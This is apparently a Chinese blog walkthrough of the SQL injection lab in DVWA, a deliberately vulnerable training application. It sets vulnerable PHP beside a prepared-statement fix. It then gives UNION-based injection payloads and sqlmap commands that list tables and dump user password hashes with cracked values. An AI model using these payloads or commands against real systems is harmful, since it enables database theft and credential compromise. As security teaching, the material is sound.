web 程序中离不开数据库,但到今天 SQL注入是一种常见的攻击手段。如今现在一些 orm 框架(Hibernate)或者一些 mapper 框架( iBatis)会对 SQL 有一个更友好的封装,使得SQL注入变得更困难,同时也让开发者对SQL注入漏洞放松警惕,甚至一些开发者是不知道有SQL注入这回事的。下面通过 dvwa 一起来了解下SQL注入的漏洞吧。

低级

界面如下



功能很简单,就是输入 user Id,就显示对应的用户的 FirstName 和 SurName。 代码如下。

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ]; // Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" ); // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count
$i++;
}
mysql_close();
}
?>

Hacker 此时输入 1' or '1' = '1'

就将 users 表数据全部拿到了。。。 因为 sql 变成了

SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' = '1'`

而 or 后面 '1' = '1' 永真,所以所有都符合这个条件了,就会把所有数据都能出来了。

中级

代码如下

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id ); // Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results
//...
} ?>

多了个下拉选择。。。火狐或者 burp suite 改参数就行了。麻烦在于代码中 mysql_real_escape_string 会对这 5 个字符转义:

  • '
  • "
  • \r
  • \n
  • NULL
  • Control-Z

但也仅仅对这5个字符转义,而从代码可以看到,代码没有检验参数。所以我们可以使用 union 关键字。

结果如下

高级

高级的界面看得我一脸懵逼,为什么要弹出一个框,为什么要用 session?满脸问号 再看看代码。

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ]; // Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
//...
}
?>

还是不明白为什么要用 session,而这里主要是用LIMIT 1 限制了输出数据的长度。

用注释符号的方式就可攻破了

不可能

  • anti-token 机制防 CSRF 攻击
  • 检查 id 是不是数字
  • 使用 prepare 预编译再绑定变量a

<?php if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$id = $_GET[ 'id' ]; // Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch(); // Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
} // Generate Anti-CSRF token
generateSessionToken(); ?>

注入的思路

如果存在一个注入的漏洞,攻击者会如何攻击呢?以低级代码为例

获取当前数据库

输入 ' UNION ALL SELECT NULL, database()#

SELECT first_name, last_name FROM users WHERE user_id = '' UNION ALL SELECT NULL, database()#';

结果:

ID: ' UNION ALL SELECT NULL, database()#
First name:
Surname: dvwa

正在使用数据库是 dvwa

获取数据库所有的表格

输入 ' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #

SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #

结果:

ID: ' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #
First name:
Surname: guestbook,users

获取表格的所有字段

输入 ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #

SELECT first_name, last_name FROM users WHERE user_id = '' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #

结果:

ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name:
Surname: user_id ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name:
Surname: first_name ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name:
Surname: last_name ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name:
Surname: user ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name:
Surname: password ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name:
Surname: avatar ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name:
Surname: last_login ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name:
Surname: failed_login

获取用户及密码

输入 ' UNION select user_id,password from users#

SELECT first_name, last_name FROM users WHERE user_id = '' UNION select user_id,password from users#

结果

ID: ' UNION select user_id,password from users#
First name: 1
Surname: e10adc3949ba59abbe56e057f20f883e ID: ' UNION select user_id,password from users#
First name: 2
Surname: e99a18c428cb38d5f260853678922e03 ID: ' UNION select user_id,password from users#
First name: 3
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b ID: ' UNION select user_id,password from users#
First name: 4
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7 ID: ' UNION select user_id,password from users#
First name: 5
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

sqlmap

自己一个个尝试比较麻烦,可以用 sqlmap 帮你扫一下,检查下sql注入的漏洞。不可能级别因为有 anti-token 的机制,就比较麻烦了,所以这里会尝试中级的代码(有转义字符串的)。 Kali Linux 在终端输入sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli" --data="id=1&Submit=Submit" --cookie="PHPSESSID=22fgnbd9g434ds8cof95l487g0; security=medium" 其他的可以 python sqlmap.py -u "http://192.168.31.166:5678/vulnerabilities/sqli" --data="id=1&Submit=Submit" --cookie="PHPSESSID=22fgnbd9g434ds8cof95l487g0; security=medium" 结果如下,

意思是,可以用 boolean-base ,error-base 等几种类型注入

再按照上面的流程来注入

获取所有的数据库

sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" --dbs

available databases [4]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema

而我们比较感兴趣的是,dvwa 数据库。接下来想后去它的所有的表

获取 dvwa 所有的表

sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa --tables

Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+

获取users表的所有字段

这里比较慢可以用多线程加速 sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users --column --threads 10

Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+--------------+-------------+

获取用户及密码信息

比如是 user 和 password sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users -C user,password --dump --threads 10 而且还问你是否要用密码字典爆破,简直优秀,结果如下。

Database: dvwa
Table: users
[5 entries]
+---------+---------------------------------------------+
| user | password |
+---------+---------------------------------------------+
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| admin | e10adc3949ba59abbe56e057f20f883e (123456) |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123) |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+---------++---------++---------++---------++---------++---------++---------++---------++---------+

DVWA 黑客攻防演练(八)SQL 注入 SQL Injection的更多相关文章

  1. DVWA 黑客攻防演练(九) SQL 盲注 SQL Injection (Blind)

    上一篇文章谈及了 dvwa 中的SQL注入攻击,而这篇和上一篇内容很像,都是关于SQL注入攻击.和上一篇相比,上一篇的注入成功就马上得到所有用户的信息,这部分页面上不会返回一些很明显的信息供你调试,就 ...

  2. DVWA 黑客攻防演练(一) 介绍及安装

    原本是像写一篇 SELinux 的文章的.而我写总结文章的时候,总会去想原因是什么,为什么会有这种需求.而我发觉 SELinux 的需求是编程人员的神奇代码或者维护者的脑袋短路而造成系统容易被攻击.就 ...

  3. DVWA 黑客攻防演练(二)暴力破解 Brute Froce

    暴力破解,简称"爆破".不要以为没人会对一些小站爆破.实现上我以前用 wordpress 搭建一个博客开始就有人对我的站点进行爆破.这是装了 WordfenceWAF 插件后的统计 ...

  4. DVWA 黑客攻防演练(六)不安全的验证码 Insecure CAPTCHA

    之前在 CSRF 攻击 的那篇文章的最后,我觉得可以用验证码提高攻击的难度. 若有验证码的话,就比较难被攻击者利用 XSS 漏洞进行的 CSRF 攻击了,因为要识别验证码起码要调用api,跨域会被浏览 ...

  5. DVWA 黑客攻防演练(三)命令行注入(Command Injection)

    文章会讨论 DVWA 中低.中.高.不可能级别的命令行注入 这里的需求是在服务器上可以 ping 一下其他的服务器 低级 Hacker 试下输入 192.168.31.130; cat /etc/ap ...

  6. DVWA 黑客攻防演练(十四)CSRF 攻击 Cross Site Request Forgery

    这么多攻击中,CSRF 攻击,全称是 Cross Site Request Forgery,翻译过来是跨站请求伪造可谓是最防不胜防之一.比如删除一篇文章,添加一笔钱之类,如果开发者是没有考虑到会被 C ...

  7. DVWA 黑客攻防演练(十一) 存储型 XSS 攻击 Stored Cross Site Scripting

    上一篇文章会介绍了反射型 XSS 攻击.本文主要是通过 dvwa 介绍存储型 XSS 攻击.存储型 XSS 攻击影响范围极大.比如是微博.贴吧之类的,若有注入漏洞,再假如攻击者能用上一篇文章类似的代码 ...

  8. DVWA 黑客攻防演练(五)文件上传漏洞 File Upload

    说起文件上传漏洞 ,可谓是印象深刻.有次公司的网站突然访问不到了,同事去服务器看了一下.所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映 ...

  9. DVWA 黑客攻防演练(十三)JS 攻击 JavaScript Attacks

    新版本的 DVWA 有新东西,其中一个就是这个 JavaScript 模块了. 玩法也挺特别的,如果你能提交 success 这个词,成功是算你赢了.也看得我有点懵逼. 初级 如果你改成 " ...

随机推荐

  1. [Swift]LeetCode323. 无向图中的连通区域的个数 $ Number of Connected Components in an Undirected Graph

    Given n nodes labeled from 0 to n - 1 and a list of undirected edges (each edge is a pair of nodes), ...

  2. [Swift]LeetCode892. 三维形体的表面积 | Surface Area of 3D Shapes

    On a N * N grid, we place some 1 * 1 * 1 cubes. Each value v = grid[i][j] represents a tower of v cu ...

  3. [Swift]LeetCode911. 在线选举 | Online Election

    In an election, the i-th vote was cast for persons[i] at time times[i]. Now, we would like to implem ...

  4. 机器学习入门17 - 嵌套 (Embedding)

    原文链接:https://developers.google.com/machine-learning/crash-course/embeddings/ 嵌套是一种相对低维的空间,可以将高维矢量映射到 ...

  5. win10安装ubuntu16.04及后续配置

    原文地址:https://www.jianshu.com/p/842e36a8255c UEFI 模式下win10安装ubuntu16.04双系统教程 - baobei0112的专栏 - CSDN博客 ...

  6. 一条命令解决mac版本python IDLE无法输入中文问题

    安装完Python通常自动就有了一个简易的集成环境IDLE,但在mac上,无法在IDLE中使用中文. 通常故障有两种情况: 在IDLE中,中文输入法根本无法工作,不会弹出输入框,所有的输入都被当做英文 ...

  7. 《HelloGitHub月刊》第 07 期

    最近工作上的事比较多,<HelloGitHub>月刊第07期拖到月底才发. 本期月刊对logo和月刊的排版进行了优化,不知道大家的反馈如何,还望大家多多反馈,让<HelloGitHu ...

  8. SpringCloud Ribbon的分析

    Spring Cloud Ribbon主要用于客户端的负载均衡.最基本的用法便是使用RestTemplate进行动态的负载均衡.我们只需要加入如下的配置便能完成客户端的负载均衡. @Configura ...

  9. Chapter 5 Blood Type——5

    "Well…" He paused, and then the rest of the words followed in a rush. "嗯..." 他顿顿 ...

  10. SpringMvc通过@Value( ) 给静态变量注入值

    spring 不允许/不支持把值注入到静态变量中,如: @Value("${ES.CLUSTER_NAME}")private static String CLUSTER_NAME ...